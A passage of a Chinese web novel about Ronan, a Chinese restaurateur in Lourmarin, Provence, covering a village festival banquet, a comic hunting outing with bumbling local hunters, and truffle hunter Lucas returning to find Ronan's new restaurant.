“卢尔马兰现在最缺的就是关注度,你太厉害了布兰科,筹划好久了吧?” 看临时游乐场和舞台的搭建速度,这绝不是一时兴起的事情。 说不定策划好几个月了。 布兰科背着手看远方,脸上的笑容像春日里的清风一样让人舒适: “厉害的是你啊罗南,没有你.我们哪还有心情举办这场还愿盛典?” 罗南摆了下手,不以为然的说: “你说了,这场战役里每个人都是‘英雄’,我只是做了该做的事,如果你知道几天后有可能要下雨的消息,难道不会通知皮埃尔吗?” “会啊,我肯定会通知皮埃尔。”布兰科向前迈了一小步,走到罗南身前,“但我‘号召’不起这么多人。” 罗南耸肩: “路易说过,丰收不是农夫们自己的事情,每年都会有村民去帮忙,只不过今年有突发情况所以看起来更‘团结’了。” 布兰科回头,笑容满面的看罗南: “真的只是因为突发情况吗?” “难道不是吗?”罗南反问。 布兰科看向罗南身后沉浸到节日氛围中的村民们: “我搬来卢尔马兰7年了,当村长也快3年了,今年的卢尔马兰和往年完全不一样。” 他语气复杂的说: “如果是以前,当农夫们听到大雨将至的消息首先会骂天气,其次会抱怨自己可怜的命运,无论皮埃尔再有号召力也无法把每一个农夫的积极性调动起来,乌云会提前好几天抵达卢尔马兰的上空,消极情绪会弥漫在每一寸空气里,但今年你听到有人抱怨天气吗?你听到有人骂自己悲惨的命运吗?” 罗南也回头看向一个个被幸福包裹住的村民: “也许是时间太紧急了,所以没时间抱怨?” “不,不是的。”布兰科的磁性的嗓音让人感觉很温暖,“因为大家更加热爱生活了,也更有努力的动力了,而这一切都是因为你的出现。” “我?”罗南伸出食指指自己。 布兰科温和的笑道: “是啊,因为他们亲眼见到了‘美好生活’的样子,而且就在身边,努力的人才能得到幸运女神的眷顾你毫无疑问是村子里最努力的年轻人。” “当大家认为优秀的松露猎人可以‘躺平’几个月享受时,你在春天去集市卖起了锅包肉和粉红酒,当大家认为你已经很有钱、生活无比幸福时你又去开了餐厅,你同时还翻新了厨房、装修了厕所、设计了漂亮的后院.你用自身行动告诉村民们,抱怨是没有用的,行动是唯一可以抓住幸福的办法,是你无形中影响了这里的人。” “你说得太夸张了!”罗南听的浑身不自在。 布兰科也觉得自己有点矫情: “好了,说正事吧,政府拿出一笔钱用来招待今天来的人,希尔维采买了许多食材,你去看看哪些是你能用的,在村子东边的临时仓库里。” 罗南指着自己摊位的方向说: “我们自己带了食材。” 今天他们依然会卖锅包肉、粉红酒和盒饭。 布兰科耸肩: “不是集市上用,是晚上的‘千人宴’用。” “千人宴?”罗南前倾了一下脖子。 还愿盛典到底有多少个环节啊. 布兰科笑着说: “今晚卢尔马兰将会免费招待来自普罗旺斯各地的朋友,你难道不想让每个人都尝尝中国美食吗?” 罗南眼睛一下子瞪大。 所有人都能尝到中国美食的机会?! 布兰科轻轻推了他一下,催促道: “快去吧,我可是为了你才把还愿盛典挪到9月底你餐厅开业前我们原本计划的时间是在10月底或者11月初。” 罗南感动的不知道说什么好了。 他这算是‘借’到‘势’了吧? 整个村子为他的餐厅打广告? 布兰科拍了拍罗南的肩膀,笑着离开这片草坪: “我说过卢尔马兰不会亏待每一个爱他的人。” 罗南在村子东侧的帐篷里看到了正在清点仓库的希尔维。 “千人宴是什么?”没见过世面的巴黎人看到这一仓库的水果和蔬菜懵了。 希尔维拉开一点点门帘,以防高温侵入到她的仓库里: “看到那边在搭的小舞台了吗?晚上那前面会摆出长长的餐桌,只要能找到座位就可以坐下吃免费的食物。” “可以招待一千个人?”罗南乍舌道。 希尔维撇嘴: “即使不到一千人也至少几百人吧,也有可能更多你不知道我们最近发了多少传单。” “饭由谁来做?”罗南继续问。 希尔维露出期待的表情: “村子里的所有人!晚上家家户户都会带着自己的拿手菜来这里,放心吧,每到还愿盛典这一天大家都会抢着送上美味的食物,吃的越好越丰盛,圣徒的保护力量越强。” 罗南想象了一下那场景,伸出一个大拇指: “厉害了!” 原来法国也有‘流水席’啊。 希尔维露出了憎恶的表情: “这笔钱原本打算补贴给那些溢价的采摘工,还好没有给他们!这样花出去才更有意义。” 随即她骄傲的甩了下头发: “只有那些大村子才有‘千人宴’,你不知道这次咱们卢尔马兰有多气派!是布兰科让你来的吗?他说了,让你随便拿,想拿多少拿多少。” 罗南飞速跑出去: “等我,我开车去!” 罗南回去和罗天海一合计,决定兵分两路。 千人宴就是一千个‘广告位’,马虎不得。 罗南和来帮忙的佐伊、维埃里三人在集市上卖东西;罗天海、冯珍和莉亚专心为晚上的‘千人宴’做准备。 罗南本想让维埃里也去那边帮忙,这里由他和佐伊两个人看着,没想到特殊集市的人流量非常大,几乎和昨天梅纳村的周六集市差不多了。 三个年轻人忙忙叨叨一上午都没怎么休息。 “你们去那边玩玩,我自己盯一会。”见人稍微少了一些,罗南对佐伊和维埃里说。 今天是庆祝的日子,怎么能一直在这里干活呢? 维埃里不屑一顾的说: “我已经对马戏团和游乐场不感兴趣了,那都是小孩子玩的,我对赚钱更感兴趣。” 佐伊反而兴致勃勃的说: “可以等晚上再去逛,晚上更好玩。” “晚上有什么?”罗南问。 佐伊挑眉: “到晚上你就知道了。” “老板,再给我来一份锅包肉,我们一家人买一份居然没够吃。”一个戴着墨镜的客人来到摊位前。 佐伊熟练的收钱找零: “我们的中餐厅快开业了,下次来卢尔马兰可以去餐厅尝尝。” “好啊。”那客人痛快的答应下来,“我们住戈尔德,下次再来卢尔马兰办事的时候一定去坐一会。” 维埃里热情的说: “不用等来办事,即使你特地为此跑一趟也绝对值得,我发誓。” 那客人开怀大笑的说: “老板你从哪里找来这么尽心尽力的两个员工啊?” 佐伊和维埃里的卖力推销取得了巨大的成绩,有几十个客人对罗南即将开业的餐厅表达出了浓厚的兴趣。 梅纳村和卢尔马兰的集市只能让罗南的宣传触达附近几个村子,毕竟不是每个普罗旺斯人都会来这两个地方买东西,因为普罗旺斯太大太大了。 而这次卢尔马兰的还愿盛典,成功的让罗南把广告打到了普罗旺斯全境,甚至是艾克斯和阿普特这样的大城市。 “要是经常有这种大型活动就好了。”这是罗南忙碌了大半天后最大的感受。 这次的广告效果超乎想象,餐厅的名声传到了更远的地方。 佐伊给自己倒了一杯粉红酒: “其他村子这类活动挺多的,会贯穿整个4-8月,不过我相信卢尔马兰类似这样的活动会越来越多,这是一个好的开始。” 罗南拿起佐伊的杯子喝了一口: “一定会的,布兰科是个很有野心的人,他一定会让卢尔马兰越来越好的。” 而已经和卢尔马兰‘绑定’到一起的罗南也会越来越好! 维埃里突然兴奋的举起厚厚一沓法郎: “今天比昨天在集市上卖的多!” 下午四点,猪肉和盒饭全部卖完,摊位上只剩几瓶粉红酒。 佐伊给维埃里也倒了一杯粉红酒,难得的用温和的语气对弟弟说: “那当然,今天是一整天,集市只有半天。” 维埃里咕咚咕咚喝了两口,露出少年特有的朝气: “我不管,反正今天咱们‘三人小队’取得了傲人的成绩!” 罗南一手抱住一个,开心的说: “但今天的收获还远远没有结束!” 四点左右,舞台前方的长桌已经摆好,第一波来‘吃席’的客人正式上桌。 ‘三人小队’无缝衔接的去千人席帮忙,每放下一道菜都会说一句: “我们的中餐厅下个月就要在卢尔马兰开业了,如果觉得好吃可以过来尝尝其他菜。” 卢尔马兰用它的热情感谢远道而来参加盛典的朋友们,远道而来的朋友们也用他们的热情回馈卢尔马兰的热情招待。 “一定一定,有机会一定去尝尝。” “我好久没来卢尔马兰了,发现这里似乎气氛变得不一样了,下次有活动我一定会来参加的。” “中餐厅?哦,是你们啊!我在梅纳村买过你们的盒饭,我就说吕贝隆怎么可能有两家好吃的中餐!放心放心,你们开业我一定会去尝尝的!” “好吃!地址在哪里?哦.那里的商业街啊。” 属于罗南等人的还愿盛典是从晚上6点多开始的。 他们送完了所有的食物后才有机会坐下来好好休息一下。 ‘千人宴’没有固定的位置,大家不能坐到一起了。 罗天海、冯珍、路易、莉亚和维埃里坐到了布兰科身边。 罗南和佐伊坐到了一群来旅游的德国游客里。 虽然语言不通,但大家还是做了礼貌的‘互相介绍’。 嗯.佐伊说那是‘互相介绍’,但罗南看他们的表情像是在问桌子上的菜是什么东西。 管它呢! 总之开心就完了! 但随着天色将暗、酒越喝越多,语言的隔阂越来越不是问题。 罗南和佐伊可以通过手势和肢体动作与对方进行顺畅的交流,在他们脚下,还有几只流浪狗乖乖的等待自己的下一块面包或者牛肉。 在这堆法德两国‘行为艺术家’的身后,是几十名跳舞的年轻男女。 再远一点的舞台周围,又是沉浸到脍炙人口的法国怀旧歌曲里的大龄男女。 在所有人身后那座巨大马戏团里,会时不时爆发出孩子们天真烂漫的笑声。 平时羞涩自卑的丽莎在和同龄女孩聊是否有买高跟鞋必要。 维埃里和陌生人探讨马赛奥林匹克下一轮比赛有多少胜算。 康奈尔和法比安小声议论某个女孩的裙子开衩有些低。 总之,无论年纪、无论国籍、无论男女,无论物种都能在今天找到自己的乐趣。 罗南吃的差不多了,佐伊建议道: “我们去别的地方转转?” “好!”还愿望盛典的范围很大,今天他们还没有好好的转一转。 令人意外的是,佐伊的目的地不是女孩子喜欢的旋转木马,也不是大人也愿意去看的马戏团,而是那些射击游戏摊位。 罗南给了老板20法郎,笑着问佐伊: “这不会就是你说的,晚上更有意思的事情吧?” 大家都去吃饭了,热闹了一天的游戏区终于清净下来,白天这里根本抢不到枪。 佐伊不置可否的挑眉: “和我比一比?” 罗南也拿起一把枪: “我会怕你?” 罗南的射击技术是动物保护协会见到会拍案而起的水平。 10枪下去只得了一个参与奖。 没想到佐伊的技术比罗南还要糟糕连安慰奖都没拿到。 “我们还真是般配啊。”罗南笑着摇头。 一家子开10枪凑不来一个10环。 “走吧,玩别的。”罗南拉起佐伊的手。 “不不不,别走,马上了。”佐伊语气兴奋的看向身后的卢尔马兰城堡。 突然,一道急促的破空声划破夜空。 罗南回头,发现夜幕已被一道道绚丽的‘流星’所撕开。 紧接着是一连串烟花升空爆破的声音、孩子的尖叫、大人的欢呼 佐伊抱住罗南,兴奋的说: “每年盛典,卢尔马兰城堡前都会放烟花,我还是小女孩的时候爸爸会陪我在这里打枪等烟花开始,后来我长大就没有这个习惯了.今年想找回小时候的感觉,谢谢你陪我。” 罗南深情的吻上去: “以后每一年盛典,我都会在这里陪你等烟花.你永远是我的女孩。” 第214章 危险就在我们身边! 一年中最重要的两件事情相继结束,村民们终于有时间也有心情放松一下了。 自从还愿盛典结束,每天早上罗南家都‘热闹’的不像样。 天一亮,枪声便开始出现。 枪声一出现,家里的两只狗也会开始它们的‘歌唱’,仿佛憋坏的不只是那些疯狂射击的人,还有两只优秀的猎犬。 鉴于两只狗听到枪声实在太兴奋,而罗南又暂时没有时间带它们去和野猪和鹿搏斗,不得不在中午增加二十分钟遛狗的行程,以求能磨灭掉一部分它们刻在骨子里对猎物的渴望。 但住在村子外缘的缺点在此时暴露无疑。 罗南家距离狩猎区非常近,中间只有一片葡萄园相隔,只要穿过葡萄园进入密林就可以开枪了。 不过罗南家并不是最危险的地方,在村子的另一侧,卢卡斯那座依林而建的大房子已处于狩猎区内。 特奥经常口若悬河的描述,他趴在卢卡斯家房顶一枪一只野兔的英勇事迹。 无论罗南去哪里遛狗,密集的枪声都能从四面八方传来,像是被敌军包围了一样。 这情形造成罗南总是会蹦出‘不靠谱的普罗旺斯人极有可能将任何物体都当作猎物’的不好预感。 鉴于不想过早结束自己的‘幸福人生’,罗南出门必穿荧光背心。 但狗的安全问题也要考虑进去啊.它们比罗南更加危险。 给狗做衣服脱离了冯珍的能力范围,聪明的她会在出门前在两只狗身上绑上一块白色的显眼手帕。 “这样就可以了吧?”冯珍满意的打量自己的‘杰作’。 罗天海无语的蹲下给两个孩子‘脱衣服’: “你不知道二战战场上死了多少投降的士兵,或者你认为《日内瓦公约》在普罗旺斯也会生效吗?胡闹!” 冯珍把罗天海推开: “会投降的动物都是有灵性的!这是告诉它们不能打!否则圣徒会惩罚他们!” 罗南用力搓了几下脸。 军事话题以难以言喻的方式走向封建迷信这太普罗旺斯了! “快去吧,这会枪声少了。”冯珍把一人两狗送出门,嘱咐道,“别走小路啊,走大道。” 不用叮嘱罗南也不会走小道,他的遛狗范围只在葡萄园附近,最远走到葡萄园和密林的交汇处。 狩猎季刚开始,大家都摩拳擦掌的去打大型动物了,谁会在密林的边缘徘徊呢? 昨天特奥说,他今天要去7公里外的‘深山老林’给安娜打鹿。 想要狩猎野猪要去更远的地方,法比安说他要在林子里搭一个‘隐藏点’——距离地面4米高的树上。 那里面会放有足够3天吃的食物和水,还会有保暖的睡袋,他做足了长期寻找野猪踪迹的打算。 “等忙完餐厅里的事情就和康奈尔去打猎。”罗南如是安慰自己。 他和康奈尔无法加入那些‘远征军团’,因为他们太‘菜’了。 两个人约定下周抽出半天时间去林子的边缘打野鸟。 罗南一边遛狗一边留意他的‘猎物’们。 似乎在吕贝隆响起第一声枪声后,附近就再也见不到鸟的踪影。 罗南猜也许这些敏感且比他更有狩猎经验的动物已经踏上南下的旅途——准备去非洲逃难了。 “那还能打什么呢?”罗南四处打量。 以他的枪法似乎打什么都很困难啊 反正打什么都是‘参与’,不如去和特奥打鹿? 或者跟法比安追野猪的踪迹? 胡乱的想着,罗南和狗走到葡萄园的尽头,再往前就是密林的范围,那里便是狩猎的区域。 没有了鸟儿们的叽叽喳喳,人的听觉变敏感了。 罗南隐隐听到密林里的不远处有聊天和大笑的声音,肯定不会超过100米距离。 他有些好奇这些在密林边缘打猎的人能打到什么,斟酌再三后,带着两条狗小心的走了进去,他们三个身上都有‘安全服’,问题应该不会太大。 随着进入密林,说笑的声音愈发清晰,从语调语气判断这伙人应该收获了不俗的‘战绩’。 突然,他听到那群人的方向发出兴奋的喊叫声。 “快看,前面有一个白色的东西,似乎还在移动!” “是兔子吗?快快快,拿枪!” “是两个!两只兔子!” “后面还有一个更大的家伙!兄弟们,今天终于要开张了!” 罗南赶紧大声喊道: “别开枪!是人!是人!!” 对面听到罗南的声音马上安静下来。 待罗南绕过几棵树、看到那群人也安静了。 憋了四五秒后,罗南实在没忍住笑出声来,指着小黑和马赛问那些人: “这就你们说的鹿和野猪?” 在他面前的,赫然就是特奥和法比安他们几个! 从散落在地上的罐头、烟头和空酒瓶子数量判断,他们出来‘打猎’的时间应该不短了。 法比安拿起自己的猎枪,对着密林里吹了一个口哨,一脸严肃的说: “我的猎犬丢在这附近了,我找了它们一个上午。” 特奥点了根烟,摸着自己的枪说: “路上遇到几个画眉,把子弹打空了,明天再去打鹿。” “那画眉呢?”罗南看着地上问,“子弹都打空了,今晚可以吃‘画眉’宴了吧?” 特奥把枪扛到肩膀上,指了指身后的密林: “狗去找了,但它们可能迷路了,这些小家伙总是给我们的打猎计划增加阻碍。” 佐伊的话一语中的。 越是把自己描述成神枪手的人技术越菜。 狩猎开始一周,罗南没在村子里见过一只鹿或野猪,见过体型最大的动物是一只画眉。 不过空手而归的亨利阴谋论的控诉,那人一定是靠‘把家鸟挂在树上利用美色’狩猎成功的。 那人如何狩猎成功的罗南不得而知,也没有兴趣知道。 他只是确定了——和他相熟的朋友里没有一个优秀猎人。 那之后,罗南痛快加入了特奥的打鹿‘远征军团’,没有任何心理负担。 他清楚这次远征很可能不会超过他家葡萄园前面那片密林的范围,所以连父母带饭的提议都拒绝了。 “说不定我一个小时后就回来了。”罗南关上门,带着小黑和马赛离开家。 冯珍忧心忡忡的对罗天海说: “有的时候遛狗都需要40分钟啊.” 罗天海眉头紧锁: “所以说‘危险’就在我们身边,你再把两个白手帕改大点吧。” 特奥打猎的技术一般般,但理论知识挺足的。 他把两个挂有铃铛的项圈交给罗南: “给小黑和马赛带上。” “确定位置用的?”罗南一边给狗子戴项圈一边问。 特奥叼着烟说: “它可以给我们指出猎犬追逐猎物的方向。” 罗南肩膀颤抖起来: “会有这个情况发生吗?” “当然!”特奥嘴硬的说,“还可以避免在密林里被当作动物击中,你那天给它们戴白手帕太荒唐了。” 罗南无语的反问: “你还有脸说那天的事?你是怎么通过狩猎考试的?那里面明确的写了,在看清猎物前禁止胡乱开枪。” 另一个农夫尴尬的解释: “大家憋了一年,听到有动静第一时间都会以为是动物.但戴上铃铛就好了,不会再出现那种情况。” 罗南给两只狗带好项圈,站起来去特奥的口袋里翻找。 特奥推搡道: “你干什么?” “找找看还有没有多余的铃铛。”罗南讽刺他们,“忘了吗,我差点也被你们当作动物打了。” 罗南今天使用的是特奥的一把来福枪。 虽然在家时特奥已经给罗南做过好几次枪支使用示范,但进入密林后他依然‘不放心’的又实弹给罗南演示了好几轮。 打了二十多枪后,特奥终于满意的对大家招手: “出发!” 对着空气都能打20多枪,一只画眉确实值得消耗掉所有的弹药。 所以我每天早上听到的密集枪声就是这群家伙在对着天空鸣‘礼炮’吗罗南忍不住腹诽道。 总之,他的第一次狩猎之行就以这种奇怪的方式开始了。 实话实说,密林的边缘真的没有什么可以打的东西,他们一路走来看到的活物还没有带来的猎犬多。 这些带着铃铛的狗儿紧贴着地面来回奔跑,同时还会发出巨大的哈气声,再加上特奥那20多枪‘礼炮’的警告罗南猜只要不是聋子,这附近的动物应该全跑光了。 “我们没有什么策略吗?”罗南忍不住问军团总参谋官特奥。 特奥严肃的说: “猎犬会给我们指引方向。” 罗南看向那几只围着小黑闻的母狗问: “指引我们现在到了可以交配的季节了?” 特奥一脚踹开那些意图‘谈聊爱’的狗: “小黑似乎很受母狗欢迎啊。” 罗南拍了下始终跟在自己脚边的小黑脑袋: “听话又帅气的小伙子无论在哪儿都很受欢迎。” 特奥哈哈大笑着说: “听话?你多来打猎几次就知道这个单词和猎犬不沾边了,这些小家伙总是给我们的打猎计划增加阻碍。” 随着深入密林,罗南逐渐明白了特奥的意思。 来到大自然中的猎犬和在家里的状态全然不同,到了这里它们更喜欢追随自己的鼻子,不再听主人的管束,每走几十米,同行的人里就会发出几声召唤自己的狗回来的命令。 而且能力越强的猎犬表现的越‘不受管束’。 罗南他们在密林里发现过两次野兔,全部是一只叫‘甜瓜’的比格犬第一时间发现的。 这个小家伙比其他猎犬更加机敏和灵活,相应的,它的主人也是最费嗓子的那一个,甜瓜不知不觉就追着气味消失的无影无踪。 别人只是呼唤自己宠物的名字,甜瓜的名字出现在密林里时会用咆哮的语气,并伴随气愤的辱骂声。 很不幸的是.第二费嗓子的幸运儿是罗南,虽然发现野兔的是甜瓜,但马赛总是能第一时间冲出去,并很快便没有了影踪,而且怎么喊都喊不回来。 不过罗南喊不回来的马赛,小黑一嗓子就能叫回来,也许这就是‘一物降一物’吧。 小黑对打猎的兴趣依然不是很浓厚,它像是保镖一样不肯离开罗南的左右,在拒绝那些过分热情的母狗同时,还要时不时注意小弟马赛去哪儿了。 “赤狐,是赤狐!”总参谋官特奥兴奋的对着某个方向喊。 随即好几个人架起了他们的猎枪。 见自己前方的三角地带没有人也没有猎犬,罗南也利索的打开保险,瞄准那个方向。 他完全没看到赤狐的影子,不过这完全不影响开枪。 开枪是为了打动物吗? 错!大错特错! 狩猎季就是为了‘热闹’! 只要枪响就够了!! 四周枪声如麻,他们用强大的火力压制住了敌军赤狐。 打空弹夹后,有人问特奥: “打到了吗?” “跑了!”特奥气忿的说。 打是肯定达不到的,但与赤狐一同消失的还有大家的猎犬。 这些一听到枪声就兴奋的动物们在‘甜瓜’的带领下一头扎进密林里,消失的无影无踪。 除了被小黑强制招回的马赛,其他人的叫喊声、口哨声、咒骂声没有喊回来一只猎犬。 特奥严肃的点了一根烟: “没有猎犬我们无法狩猎。” 另一个人也点了根烟: “我们也不能离开这里,否则狗回来的时候会找不到我们。” “那怎么办?”罗南有些担忧的问。 特奥找了个空地坐下来,打开自己的随行包,拿出一瓶红酒: “休息一下吧,喝点水。” 另一个人熟练的铺开红色碎花桌布,把切好的香肠拿出来: “再补充下体力。” 接下来是奶酪、面包、橄榄、樱桃、馅饼和两幅扑克牌. 太棒了! 野餐的所有要素都凑齐了! “不继续了吗?”罗南有些遗憾的问。 让我带两根山鹑羽毛回去也行啊! 特奥耸肩: “猎狗跑了,我说过这些小家伙总是给我们的狩猎增添阻碍,但我们又离不开它。” 真的是阻碍吗? 是给你们一个合理的理由从早喝到晚吧? “不找吗?”罗南指着密林说。 特奥拆开扑克牌: “它们一会就回来了,不会丢的,你想玩‘胡须’还是‘贝洛特’?” 见罗南一副‘意犹未尽’的表情,特奥指着稍远的地方说: “打枯树也一样,树还不会跑。” 罗南是那种自甘堕落的人吗? 那当然是了。 他对着一棵可怜的枯树尽情释放了自己的猎枪。 消耗掉所有的弹药后,特奥对他招手: “就你这枪法还是老老实实的打牌吧。” 罗南没有和特奥他们待在密林里打牌。 他的狗又没丢,留在原地没有意义。 回到家的时候,冯珍特意看了一眼表: “说一个小时还真一个小时,你8点出去的,现在才9点半。” 罗南兴奋的挥了一下拳: “但我打空了所有的弹药。” 罗天海担心的问: “这周围有那么多野兽吗?子弹都打完了?” 果然危险就在我们的身边啊。 罗南尴尬的吸了一下鼻子: “嗯确实有不少野兽出没。” 冯珍去门口找了一圈,兴奋的说: “得有不少收获吧?快给我看看。” 罗南正想找个理由糊弄过去,听到门外出现好几道奇特的声音。 初听像是哭声,仔细品还能听出一股子‘哀婉幽怨’的味道。 他打开门,马上冲进来几只热情似火的普罗旺斯母狗,它们对小黑一阵搔首弄姿,屁股翘到了天上。 罗南对父母摊手: “收获挺大的吧?这一个半小时小黑收获了四五条爱慕狗。” 第215章 卢尔马兰的‘女王\’回来了! 特奥那几个人实在是太逊了,和他们打猎没有一点意思。 罗南梦想中的狩猎应该是紧张、刺激但又收获满满的。 狩猎季会一直持续到明年春天,罗南决定等他的餐厅稳定下来好好去打几次猎,不是在家门口小打小闹的那种。 不过他还是会偶尔去密林里开开枪,绝不是贪图开枪时肾上腺激增的刺激感啊是村民们需要小黑帮忙找狗。 很多主人在原地等不到自己的猎犬,一出密林发现在罗南家门口出现了。 弄的罗南家跟开了‘托儿所’似的,到点了就有家长来接‘孩子’。 为了节省掉中间的‘拉扯’时间,村民们出去打猎时都喜欢喊上罗南一起,因为他们听说——只要罗南家的那只杜宾在,猎犬便不会离开主人太远,尤其是母狗。 就这样,小黑成为了卢尔马兰的名副其实的‘明星犬’,比罗南还风光。 不过这种明星光环刚持续两天就被其他‘明星’压了下去——卢尔马兰真正的‘女王’回来了。 “卢卡斯带着玛格丽特从马赛回卢尔马兰了。” “错,是卢卡斯带着他的宝贝女儿回来了!” “确实是宝贝女儿啊,一个冬天能给爸爸赚十几万甚至几十万法郎你女儿有这本事吗?” “不知道玛格丽特今年又能挖出多少松露呢。” 9月的最后一天。 卢卡斯带着他的刚毛犬玛格丽特回到阔别几个月的卢尔马兰——这代表他今年的松露之旅要开始了。 通常情况,松露到了11月份才进入最佳赏味期,虽然10月也可以找到它们,但由于气味不够浓郁,对于完全依靠猎犬的松露猎人来说,效率会大大降低,而且收入也不会特别好。 不过卢卡斯最近的经济压力确实太大了。 赚的再少也比每天待在马赛无所事事强。 只是这样苦了他的‘宝贝女儿’,要提早一个月进山,挑战也增加了不少。 卢卡斯摸着躺在沙发上的玛格丽特,温柔的问: “卢尔马兰的鱼没有马赛的新鲜,我们吃牛肉好不好?” 玛格丽特哼唧了一声,继续闭眼睡觉。 卢卡斯马上在它的头上亲了一下: “我亲自给你做一顿大餐。” 房子是特奥帮忙收拾的,但他没有给卢卡斯采买食材,卢卡斯需要出去采购一番。 几个月没回来,卢卡斯发现卢尔马兰的氛围完全变了。 以前在非旅行季,街道上很难看到村民,即使有也是形色匆匆的奔赴自己的目的地,不会有过多的表现。 不过今天街上的行人明显多了,他们走的缓慢,似乎心情非常不错,看到卢卡斯回来至少要拉他聊上好几分钟才肯离开。 还没到肉店,卢卡斯就约了四顿饭、三顿酒。 而且他发现村里有许多修房子的住户,做房屋加固的、重新刷墙的、改造大门的 “最近大家这么有激情吗?” 路过皮雷家,看到院子里停了一辆车,卢卡斯笑着打趣: “终于有人找你来修车了?” “哦!卢卡斯!”皮雷圆滚滚的脑袋从前机盖后面探出来。 他想给卢卡斯一个大大的拥抱,但身上都是机油只能轻轻的在卢卡斯肩膀上撞了一下: “你这家伙终于舍得离开大城市回卢尔马兰了?” 卢卡斯笑着耸肩: “我一直很喜欢卢尔马兰,但凯瑟琳和吉拉尼喜欢马赛。” “哎呀,你们有钱人就是过的舒服啊,房子多,想住哪里住哪里。”皮雷摇着脑袋嘟囔。 “你也不错啊。”卢卡斯指着皮雷院子里的车说,“这不是有人给你送零花钱来了?这车哪坏了?能送到你这里修的,肯定是大毛病吧。” “这车没坏,是送来改装的。”皮雷哈哈大笑的说。 “改装?”卢卡斯拿烟的手一顿。 卢尔马兰会有人玩改装车? 皮雷的话匣子打开,自顾自的说个没完: “这已经是这个月的第二辆了,后面还有三辆在排队呢,这帮农夫啊赚了钱第一件事就是买车,别管买的是什么还都要学罗南玩改装!人家罗南的DS19改出来好看、预算充足、审美也好,我帮忙改就改了,但其他人吝啬的要死,还浪费我缝绣被,真是烦死人了!” ‘咔嚓——’ 金属滑轮快速摩擦火石,卢卡斯侧头把烟点着,吐出一口烟圈: “罗南改车了?” 皮雷眉飞色舞的说: “改了一辆特别漂亮的车,敞篷的,比新车还好看,花了9000法郎呢!哎呀,要不是很多配件不好找,罗南又着急.说不定可以把预算提到1万多,那个小伙子太舍得花钱了!” 卢卡斯点了下头: “行,我去买点吃的,下次过来再找你聊。” 皮雷突然兴冲冲的说: “吃的,诶对!你还不知道罗南的餐厅下周要开业了吧?哎呀,那可真是我见过最有特色的餐厅了,上帝,你一定要去尝尝,他们家的手艺实在太棒了。” 卢卡斯离开卢尔马兰的时候商业街项目还没启动。 他不知道卢尔马兰有了这么一排新的房子,也自然不知道罗南开了餐厅。 在卢卡斯的记忆中,罗南拒绝了他的合作提议后去集市卖粉红酒和锅包肉了。 三月份他去梅纳村的集市上观察过一次,计算出来罗南一上午可以卖3000多法郎。 这个收入和卢尔马兰的村民比确实高出不少,但绝对到不了‘有钱人’的范畴。 每个月这么点收入,如何用半年时间升级成餐厅老板了呢? 卢卡斯的两只脚似乎有了自己的想法。 它们不知不觉的把主人带到了靠近卢尔马兰城堡的那一侧。 卢卡斯看到了还在施工的博物馆、看到了咖啡厅、看到了石器店、看到了艺术品商店.这里的一切都让他感到陌生,就像是觉得村民们变得陌生一样的感觉。 这还是他生活了十几年的卢尔马兰吗? 在商业街中心一处巨大的空场前,他看到了一个挂有一对情侣和5狗1羊剪影logo的餐厅。 门口不断有他熟悉的村民进进出出,那其中甚至还有他的亲弟弟特奥。 卢卡斯以为他看错了.从小就懒惰的特奥居然在组织村民们给这家餐厅做卫生? 这不是只有亲哥哥的我才能体会到的待遇吗? 卢卡斯再次抬头看向这家整条街位置最好、面积最大的商铺。 这便是罗南的餐厅吗? ‘餐厅领班’特奥有条不紊的组织大家工作。 “这玻璃没擦干净啊,重新擦!” “绿植也擦擦,那东西擦完更好看!” “对了,罗南让换的灯泡你们看到在哪儿了吗?他说客厅不够亮。” 特奥刚坐到门口的摇椅上打算休息一下,突然看到一个高大的身影走进餐厅,一个弹射而起,快步迎过去: “你怎么来了?” 卢卡斯看着特奥刚刚坐的区域陷入了深思。 石墙、绿植、摇椅.每一个元素都很熟悉,但凑到一起就让人感到陌生了。 罗南餐厅的样式完全是他没见过的.这是什么风格? 但无论这叫什么风,卢卡斯都可以肯定的说,这是放在马赛都会让人眼前一亮的餐厅。 “听说这里建了个商业街,过来看看。”他语气平静的说。 卢卡斯波澜不惊,特奥却异常兴奋的说: “你来的真是时候,罗南的餐厅刚刚做完卫生,我带你转转?” 卢卡斯本想说不,因为他还要去给玛格丽特买牛肉,不过看清餐厅里面的样子后,脚又开始不受控制了,自动迈步向里面走。 特奥指着深木色的桌子说: “全部是罗南自己做的,这小子这几个月的木工活越做越好了。” 卢卡斯的注意力全被那些奇怪的椅子吸引: “这是哪里买的?” 好独特的样式,在马赛从来没见过。 特奥认真解释: “不是买的,框架是罗南自己做的,外面的藤蔓是亨利一家三口包的,这东西叫藤艺编织。” 卢卡斯意外的看向弟弟特奥。 他这个初中毕业的弟弟也开始让他陌生了 除了车和枪,特奥居然还能讲出这么多专业术语? 随即特奥用更加‘陌生’的状态给哥哥介绍: “这些灯也是罗南自己做的,你看它们都是草,特殊药水浸泡晒干后的麦草,就是普罗旺斯随处可见的那种.这种技艺叫草艺编织,听说在中国已经流传几千年了,罗南这小子手太巧了,跟变魔术似得。” “灯也是罗南自己做的?”卢卡斯的语气有了明显的起伏,“整个餐厅都是他自己弄的?” 特奥笑着摇头: “那肯定不是,他哪儿忙的过来那么多活儿啊。” 卢卡斯微微点头。 特奥突然骄傲起来: “是我们帮他一起干的,我、皮埃尔、法比奥,我们这帮人。” 卢卡斯的表情复杂到无法掩饰。 这餐厅跟特奥有什么关系,特奥骄傲个什么啊? “还有这些杯垫、饰品也是罗南自己的,对了我再带你去室外看看!”特奥指了一个方向,“那边更漂亮。” 卢卡斯向反方向走: “不了,我要去给玛格丽特买牛肉了。” 这半年到底发生了什么? 罗南在村里的地位什么时候变得像这座商铺一样重要且核心了呢?! 卢卡斯买好食材回家给宝贝女儿玛格丽特做饭,但脑海中全是罗南的那家让人记忆犹新的餐厅。 半年前,卢卡斯去做了前途无量的人工松露生意,罗南去做了听起来没有任何前途的‘厨子’。 当时他就暗自憋了一口气,想要看一看未来他们两个谁的选择是正确的。 如今半年过去了,松露生意前途一片迷茫。 罗南却从集市摊主摇身一变变成了餐厅老板,而且周围还跟着一群忠心耿耿的‘兄弟’。 谁能没有心理波澜呢? 正当卢卡斯第几百次问自己,投入全部做人工培育松露生意究竟是对还是错的时候,他家的门铃响了。 卢卡斯去沙发上亲了一下玛格丽特的头: “宝贝再等一下,我去看看是谁来了。” 卢卡斯打开门一看,门外站着的居然是罗南和他的杜宾犬。 罗南笑着说: “听说你回来了,还去了我的餐厅,我过来和你打个招呼。” 卢卡斯笑着让了一条路出来: “你有口福了,一起尝尝我做的牛肉吧。” 